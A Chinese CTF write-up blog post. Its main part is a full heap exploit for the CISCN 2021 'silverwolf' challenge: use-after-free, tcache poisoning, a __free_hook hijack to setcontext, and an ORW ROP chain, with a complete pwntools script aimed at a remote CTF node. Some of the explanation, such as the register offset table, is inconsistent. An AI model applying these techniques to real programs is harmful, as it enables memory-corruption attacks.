7-10-11每日一题

7-10-11-每日一题

WEB1–[LitCTF 2023]PHP是世界上最好的语言!!

拿到题目 右边的run code一眼丁真命令执行
看了看左边的按钮没什么用
查看源码发现右边需要接收php语言
遂尝试写入
但是报错:
{“code”:-1002,“message”:“line:1; message:syntax error, unexpected ‘’);?>’ (T_ENCAPSED_AND_WHITESPACE), expecting ‘)’”,“data”:[]}
后问GPT发现:
“这个错误代码提示表明,在 PHP 代码中存在语法错误。具体来说,错误信息 “syntax error, unexpected ‘’);?>'” 意味着在某个位置上的代码语句出现了一个意外的结束标记,这通常是由于缺少分号、括号等常见的语法错误导致的。

要解决此问题,需要检查代码并确定导致错误的行。然后,检查该行代码及其周围的代码,查看其中是否有任何语法错误或其他类型的错误。在这种情况下,错误信息中给出的 “T_ENCAPSED_AND_WHITESPACE” 提示需要注意单引号和双引号之间的引用格式是否正确。

在编写 PHP 代码时,应该遵循语法规则,并使用适当的括号、引号和分号等符号,以确保代码可以正确执行。如果确实遇到了语法错误,建议使用代码编辑器或开发环境中的语法高亮显示功能来检测和修复错误。

发现是php把’'里面的cat /flag识别成了字符串类型
遂写入

WEB2–[LitCTF 2023]导弹迷踪

没啥好说的,小游戏硬打,我这种手残的人选择翻找前端文件

  FINISH: {
            title: function () {return 'LEVEL COMPLETED';},
            text:  function () {if (mLevel === 6) {return 'GOT F|L|A|G {y0u_w1n_th1s_!!!}';} else {return 'CLICK TO CONTINUE';}},
        }
    };

get flag

NSSCTF{y0u_w1n_th1s_!!!}

PWN1—[CISCN 2021 初赛]silverwolf(上)

先来复习一下UAF

Use After Free 释放后使用

当一个chunk被释放之后,其对应的指针没有被设置为NULL,如果在下一次使用之前有代码对这一块内存进行修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3[5]; // [rsp+0h] [rbp-28h] BYREF

  v3[1] = __readfsqword(0x28u);
  sub_C70(a1, a2, a3);
  while ( 1 )
  {
    puts("1. allocate");
    puts("2. edit");
    puts("3. show");
    puts("4. delete");
    puts("5. exit");
    __printf_chk(1LL, "Your choice: ");
    __isoc99_scanf(&unk_1144, v3);
    switch ( v3[0] )
    {
      case 1LL:
        sub_D60();
        break;
      case 2LL:
        sub_FA0();
        break;
      case 3LL:
        sub_ED0();
        break;
      case 4LL:
        sub_E60();
        break;
      case 5LL:
        exit(0);
      default:
        puts("Unknown");
        break;
    }
  }
}

先来看源码,标准的笔记管理系统,且存在free函数

checksec一下

*] '/mnt/hgfs/windowshare/ciscn/2021/silverwolf'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    FORTIFY:    Enabled

保护全开

调试程序发现,程序逻辑是先分配内存,再编辑内容

而这里可以看到,程序释放内存后并没有将对应的指针架空

  __printf_chk(1LL, "Index: ");
  __isoc99_scanf(&unk_1144, &v1);
  if ( !v1 && buf )
    free(buf);

show函数发现存在\x00截断

  __isoc99_scanf(&unk_1144, &v1);
  if ( !v1 && buf )
    __printf_chk(1LL, "Content: %s\n", (const char *)buf);

函数表中存在seccomp函数,意味着system系统调用被禁用,考虑使用orw方法get flag

泄露libc基地址

我们首先申请一个大小为0x78的堆块然后释放。
释放后我们就可以获取到堆的基址,也就是:0x561d067d4000

add(0x78)
free()
show()

io.recvuntil(b'Content: ')
heap_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x11b0
######################################################
0x11b0是特定于glibc 2.27版本的堆初始化布局,包含:

主arena结构 (0x11a0字节)

top chunk头 (0x10字节)

第一个可用chunk的位置 (对齐要求)

这个偏移量在不同的glibc版本或编译选项下可能不同,但在给定的题目环境(libc-2.27.so)中是固定的。

因此减去这个值可以回到堆的初始地址

我们可以劫持 tcache_perthread_struct 结构体来泄露Libc基址。
通过在tcache_perthread_struct + 0x10的地方申请堆块,我们就成功劫持到了这个结构体。

entries数组位于结构体起始地址 + 0x10(16 字节)处

劫持原理详解

当攻击者通过漏洞(如堆溢出、UAF)覆盖tcache_perthread_struct + 0x10位置时,本质是修改了某个大小类别的空闲链表头指针。具体步骤如下:

  1. 篡改链表头
    • entries[i]的值覆盖为任意可控地址(如函数指针、 GOT 表项)。
  2. 触发分配
    • 当程序申请该大小类别的堆块时,分配器会从被篡改的地址 “取出” 块。
    • 例如,若entries[3]被改为0xdeadbeef,下次申请对应大小的块时,malloc()会返回0xdeadbeef
  3. 实现任意地址写
    • 攻击者可控制后续写入该 “堆块” 的数据,从而修改任意内存位置。

通过修改堆块数量部分,我们可以伪造Tcache已满。然后让程序将堆块放入Unsorted Bin中。这样就会泄露出来一个main_arena + 一定值的地址。

之后我们释放堆,由于我们修改目前已存在7个Tcache堆块,我们的堆块会被放入Unsorted Bin中。
记得要恢复这部分,因为我们需要使用Tcache来进行后续的攻击。

通过修改堆块数量部分,我们可以伪造Tcache已满。然后让程序将堆块放入Unsorted Bin中。这样就会泄露出来一个main_arena + 一定值的地址。

pwndbg> x/30gx 0x561d067d4000
0x561d067d4000:	0x0000000000000000	0x0000000000000251
0x561d067d4010:	0x0006070100000007	0x0000020003000000 # 0x561d067d4010:	0x0006070100000007 就是我们需要修改的地方。 例:0x0000000007000000 是修改后的数据。
0x561d067d4020:	0x0000000000000000	0x0000000000000000
0x561d067d4030:	0x0000000000000000	0x0000000000000000
0x561d067d4040:	0x0000000000000000	0x0000000000000000
0x561d067d4050:	0x0000561d067d5610	0x0000000000000000
0x561d067d4060:	0x0000000000000000	0x0000000000000000
0x561d067d4070:	0x0000561d067d58c0	0x0000561d067d5360
0x561d067d4080:	0x0000561d067d4010	0x0000000000000000
0x561d067d4090:	0x0000000000000000	0x0000000000000000
0x561d067d40a0:	0x0000000000000000	0x0000561d067d4ad0
0x561d067d40b0:	0x0000000000000000	0x0000561d067d56a0
0x561d067d40c0:	0x0000000000000000	0x0000000000000000
0x561d067d40d0:	0x0000000000000000	0x0000000000000000
0x561d067d40e0:	0x0000000000000000	0x0000000000000000

gadget准备

free_hook = libc_base + libc.sym['__free_hook']
pop_rdi = libc_base + 0x215BF
pop_rax = libc_base + 0x43AE8
pop_rsi = libc_base + 0x23EEA
pop_rdx = libc_base + 0x1B96
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
setcontext = libc_base + libc.sym['setcontext'] + 53 # 通常会为了避免使用 fldenv 指令,因为这个指令会使程序崩溃。
syscall = libc_base + 0xE5965 # 必须是单个syscall, 如: 0x7f5afec19965 (geteuid+5) ◂— syscall
flag_addr = heap_base + 0x1000
ret = libc_base + 0x8AA
orw1 = heap_base + 0x3000
orw2 = heap_base + 0x3060

stack_pivot_1 = heap_base + 0x2000
stack_pivot_2 = heap_base + 0x20A0

payload = b'\x00' * 0x40
payload += p64(free_hook)  # 0x20
payload += p64(0)
payload += p64(flag_addr)
payload += p64(stack_pivot_1)
payload += p64(stack_pivot_2)
payload += p64(orw1)
payload += p64(orw2)

edit(payload)

现在开始解释为什么:
为什么再次劫持?因为众所周知tcache_perthread_struct控制着tcache chunk。
我们现在需要做的不是修改数量,而是修改entries数组指针。使其指向我们需要的地方。

pwndbg> x/40gx 0x5586484ab000
0x5586484ab000:	0x0000000000000000	0x0000000000000251
--- 0x40 Padding ---
0x5586484ab010:	0x0000000000000000	0x0000000000000000
0x5586484ab020:	0x0000000000000000	0x0000000000000000
0x5586484ab030:	0x0000000000000000	0x0000000000000000
0x5586484ab040:	0x0000000000000000	0x0000000000000000
--- 0x40 Padding ---
0x5586484ab050:	0x00007f0e49b198e8	0x0000000000000000 ---> 0x00007f0e49b198e8 __free_hook, 我们需要劫持为setcontent,这个堆块的大小是 0x20。
0x5586484ab060:	0x00005586484ac000	0x00005586484ad000 ---> flag_addr 和 stack_pivot_1. 这些堆块的大小是 0x40 和 0x50。
0x5586484ab070:	0x00005586484ad0a0	0x00005586484ae000 ---> stack_pivot_2 和 orw1. 这些堆块的大小是 0x60 和 0x70。
0x5586484ab080:	0x00005586484ae060	0x0000000000000000 ---> orw2. 这个堆块的大小是 0x80。
0x5586484ab090:	0x0000000000000000	0x0000000000000000
0x5586484ab0a0:	0x0000000000000000	0x00005586484abad0 --------> 我们不能直接修改链表,因此我们需要手动修改指针。这里还有另一点因素是因为setcontext函数。
0x5586484ab0b0:	0x0000000000000000	0x00005586484ac6a0 --------- 为了实现我们的目标,我们需要申请相同大小的堆块。
0x5586484ab0c0:	0x0000000000000000	0x0000000000000000 --------- __free_hook : 0x18
0x5586484ab0d0:	0x0000000000000000	0x0000000000000000 --------- flag_addr, stack_pivot_1 : 0x38 & 0x48
0x5586484ab0e0:	0x0000000000000000	0x0000000000000000 --------- stack_pivot_2, orw1 : 0x58, 0x68
0x5586484ab0f0:	0x0000000000000000	0x0000000000000000 --------- orw2 : 0x78
0x5586484ab100:	0x0000000000000000	0x0000000000000000
0x5586484ab110:	0x0000000000000000	0x0000000000000000
0x5586484ab120:	0x0000000000000000	0x0000000000000000
0x5586484ab130:	0x0000000000000000	0x0000000000000000

ORW SHELLCODE

# Open

orw = p64(pop_rdi) + p64(flag_addr)
orw += p64(pop_rax) + p64(2)
orw += p64(pop_rsi) + p64(0)
orw += p64(syscall) # open('./flag')

# Read

orw += p64(pop_rdi) + p64(3)
orw += p64(pop_rsi) + p64(orw1)
orw += p64(pop_rdx) + p64(0x30)
orw += p64(read) # read(3, orw1, 0x30)

# Write

orw += p64(pop_rdi) + p64(1)
orw += p64(write) # write(1, orw1, 0x30)
add(0x18)
# 为什么我们只需要一次分配,因为我们直接修改了指针,相当于修改了链表。
# 这意味着这个堆块将分配到我们想要的任何位置。
# 在这种情况下,我们不需要将地址推送到链表中,因为地址已经位于链表中了。
# (0x20)   tcache_entry[0](0): 0x7f53257278e8 -----> __free_hook
edit(p64(setcontext))
# 劫持 __free_hook 至 setcontext
# 为什么劫持 __free_hook 而不是其他函数?
# 执行 __free_hook 时,RDI 寄存器正好是块的地址。
# 这意味着当我们执行 free 时,我们实际上执行的是带有我们 ROP 链的 setcontext。
add(0x38)
# 存储flag文件的地址,用于open函数。
# (0x40)   tcache_entry[2](0): 0x556a73c3d000 -----> flag_addr
edit('./flag')

add(0x68)
edit(orw[:0x60])
# orw1

add(0x78)
edit(orw[0x60:])
# orw2

add(0x58)
edit(p64(orw1) + p64(ret))
# stack_pivot_2

add(0x48)
# stack_pivot_1
free()
# 触发ROP。

完整exp

from struct import pack
from LibcSearcher import *
from pwn import *
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))

context(os='linux', arch='amd64', log_level='debug')

#p = process('./silverwolf')

p = remote('node4.anna.nssctf.cn',28367)
elf = ELF('./silverwolf')
#libc = ELF('./libc-database/db/libc6_2.27-3ubuntu1.5_amd64.so')
libc = ELF('./libc-2.27.so')
#libc = ELF('/home/w1nd/Desktop/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so')

def add(size):
    sla(b'choice: ', b'1')
    sla(b'Index: ', str(0))
    sla(b'Size: ', str(size))
def edit(content):
    sla(b'choice: ', b'2')
    sla(b'Index: ', str(0))
    sla(b'Content: ', content)
def show():
    sla(b'choice: ', b'3')
    sla(b'Index: ', str(0))
def free():
    sla(b'choice: ', b'4')
    sla(b'Index: ', str(0))

add(0x78)
free()
show()
rl(b'Content: ')
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x11b0
print(' heap_base -> ', hex(heap_base))

edit(p64(heap_base + 0x10))
add(0x78)
add(0x78)
for i in range(7):
    free()
    edit(p64(0)*2)
free()
show()
libc_base = get_addr() - 0x70 - libc.sym['__malloc_hook']
print(' libc_base -> ', hex(libc_base))
edit(b'\x00'*0x78)

rdi = libc_base + 0x215bf
rsi = libc_base + 0x23eea
rdx = libc_base + 0x1b96
rax = libc_base + 0x43ae8
ret = libc_base + 0x8aa
rsp = libc_base + 0x3960
read = libc_base + libc.sym['read']
puts = libc_base + libc.sym['puts']
free_hook = libc_base + libc.sym['__free_hook']
mov_rsp_rdi_a0 = libc_base + libc.sym['setcontext'] + 53
syscall = libc_base + libc.sym['read'] + 0xf

add(0x10)
edit(b'/flag\x00')

# set rop
# open
flag = heap_base + 0xe00
rop1 = p64(rdi) + p64(flag) + p64(rsi) + p64(0) + p64(rax) + p64(2) + p64(syscall)
# read
rop1 += p64(rdi) + p64(3) + p64(rsp) + p64(heap_base + 0x1500)
# jump next chunk
rop2 = p64(rsi) + p64(heap_base + 0x300) + p64(rdx) + p64(0x30) + p64(read)
# write
rop2 += p64(rdi) + p64(heap_base + 0x300) + p64(puts)

add(0x60) # 0xe20
edit(rop1)
add(0x60) # 0x1500
edit(rop2)

# set rsp and rip
add(0x10)
free()
edit(p64(free_hook + 0xa0))
add(0x10)
add(0x10)
edit(p64(heap_base + 0xe20) + p64(ret))

# free_hook -> setcontext + 53
add(0x60)
free()
edit(p64(free_hook))
add(0x60)
add(0x60)
edit(p64(mov_rsp_rdi_a0))

# leak flag()
#gdb.attach(p, 'b free')
free()
pr()

解释时间:

还记得上文我们设置的地址吗,现在他们就要发挥作用了。
首先,free,或者说setcontext会以RDI寄存器0x5650c8aaa000类似值执行。
libc中的setcontext函数:

.text:00000000000521B5                 mov     rsp, [rdi+0A0h]
.text:00000000000521BC                 mov     rbx, [rdi+80h]
.text:00000000000521C3                 mov     rbp, [rdi+78h]
.text:00000000000521C7                 mov     r12, [rdi+48h]
.text:00000000000521CB                 mov     r13, [rdi+50h]
.text:00000000000521CF                 mov     r14, [rdi+58h]
.text:00000000000521D3                 mov     r15, [rdi+60h]
.text:00000000000521D7                 mov     rcx, [rdi+0A8h]

rdi+0A0h就是我们的stack_pivot_1,这会执行整个ROP链。

  1. 我们将 __free_hook 劫持到 setcontext + 53 以获取需要的函数片段。在这一步之后,我们的 free 将执行 setcontext。这是内核用于恢复堆栈环境的函数。参见:SROP。
    为什么要劫持 setcontext,有两个原因。
    一:setcontext 具有许多工具,并且仅可使用 RDI 寄存器。它可以控制所有寄存器,甚至返回地址。
    二:通过将 free 劫持到 setcontext,RDI 保持其本应执行的操作。因为它们都使用同一个寄存器作为参数
  2. 我们将flag文件位置送入到堆中。在这之后,我们可以在需要时调用我们的open函数。
  3. 我们将 payload 发送到 orw1orw2 中。
  4. 将带有返回地址的 stack_pivot_2 送入到堆中。
  5. EXECUTE ORDER PWN
  6. 坐下等待 flag ~!

思路梳理

阶段1:信息泄露与基础准备

  1. 泄露堆基地址
    • 分配并释放一个0x78大小的chunk
    • 读取tcache fd指针计算堆基地址:heap_base = leak_addr - 0x11b0
    • 原理:初始tcache指针指向堆管理结构内部
  2. 泄露libc基地址
    • 篡改tcache结构指向自身
    • 修改tcache计数为7(强制后续释放进入unsorted bin)
    • 释放chunk使其进入unsorted bin
    • 读取main_arena地址计算libc基址:libc_base = leak_addr - 0x70 - libc.sym['__malloc_hook']
    • 原理:unsorted bin的fd指针指向main_arena+0x60

阶段2:堆内存布局构建

# 关键地址定义
orw1 = heap_base + 0x3000      # ORW ROP链第一部分
orw2 = heap_base + 0x3060      # ORW ROP链第二部分
stack_pivot_1 = heap_base + 0x2000  # setcontext上下文结构
stack_pivot_2 = heap_base + 0x20A0  # ROP链执行栈
flag_addr = heap_base + 0x1000    # flag文件名存储位置

# 构建tcache投毒布局
payload = b'\x00' * 0x40
payload += p64(free_hook)      # 0x20 tcache -> __free_hook
payload += p64(0)              # 终止标记
payload += p64(flag_addr)      # 0x40 tcache -> flag路径
payload += p64(stack_pivot_1)  # 0x50 tcache -> 上下文结构
payload += p64(stack_pivot_2)  # 0x60 tcache -> ROP栈
payload += p64(orw1)           # 0x70 tcache -> ORW ROP1
payload += p64(orw2)           # 0x80 tcache -> ORW ROP2
edit(payload)
  • 目的:通过一次写入设置所有后续分配的指针
  • 效果:控制后续6次分配的位置和内容

阶段3:关键数据写入

  1. 劫持__free_hook

    add(0x18)  # 分配0x20大小chunk
    edit(p64(setcontext))
    
  2. 写入flag路径

    add(0x38)  # 分配0x40大小chunk
    edit('./flag')
    
  3. 构建ROP执行栈

    add(0x58)  # 分配0x60大小chunk
    edit(p64(orw1) + p64(ret))  # RIP=orw1, 栈对齐
    
  4. 准备ORW ROP链

    # ORW链第一部分
    add(0x68)  # 分配0x70大小chunk
    edit(orw[:0x60])
    
    # ORW链第二部分
    add(0x78)  # 分配0x80大小chunk
    edit(orw[0x60:])
    

阶段4:触发执行

free()  # 触发__free_hook
  • 触发机制
    1. free()调用__free_hook(setcontext+53)
    2. RDI寄存器包含释放的chunk地址(stack_pivot_1)
    3. setcontext从stack_pivot_1读取上下文
  • 上下文结构
    • RSP = [stack_pivot_1 + 0xA0] = stack_pivot_2
    • RIP = [stack_pivot_1 + 0xA8] = [stack_pivot_2] = orw1

阶段5:ORW ROP链执行

orw = p64(pop_rdi) + p64(flag_addr)   # filename
orw += p64(pop_rax) + p64(2)          # open syscall
orw += p64(pop_rsi) + p64(0)          # O_RDONLY
orw += p64(syscall)                   # open("./flag", O_RDONLY)

orw += p64(pop_rdi) + p64(3)          # fd (假设返回3)
orw += p64(pop_rsi) + p64(orw1)       # 读取缓冲区
orw += p64(pop_rdx) + p64(0x30)       # 读取长度
orw += p64(read)                      # read(3, buffer, 0x30)

orw += p64(pop_rdi) + p64(1)          # stdout
orw += p64(write)                     # write(1, buffer, 0x30)

关键技术点解析

1. setcontext+53利用

  • 为什么+53:绕过寄存器保存指令

  • 上下文结构要求

    struct ucontext {
        unsigned long uc_flags;
        struct ucontext *uc_link;
        stack_t uc_stack;
        mcontext_t uc_mcontext;  // 寄存器保存位置
        ...
    };
    
    // x86_64寄存器偏移:
    // R8:  0x28
    // R9:  0x30
    // R10: 0x38
    // R11: 0x40
    // R12: 0x48
    // R13: 0x50
    // R14: 0x58
    // R15: 0x60
    // RDI: 0x68
    // RSI: 0x70
    // RBP: 0x80
    // RBX: 0x88
    // RDX: 0x90
    // RAX: 0x98
    // RCX: 0xa0  // 实际用作RSP
    // RSP: 0xa0  // 新栈指针
    // RIP: 0xa8  // 新指令指针
    

2. Tcache投毒高级技巧

  • 单次写入控制多个bin:利用相邻的tcache管理结构
  • 分配顺序控制:按大小升序分配避免冲突
  • 地址规划:在堆上划分不同功能区域

3. ROP链构造

  • 分段存储:适应不同大小的chunk
  • 栈迁移技巧
    • 一级栈(stack_pivot_1):setcontext上下文
    • 二级栈(stack_pivot_2):ROP入口点
  • 栈对齐处理:使用ret指令解决MOVAPS问题

注意事项

本题主要考验的是对tcache表的利用以及通过setcontext函数实现orw,其中因为版本问题,open函数使用的syscall为openat,所以需要手动syscall来实现对open的调用

posted @ 2025-07-11 19:56  shanlinchuanze  阅读(23)  评论(0)    收藏  举报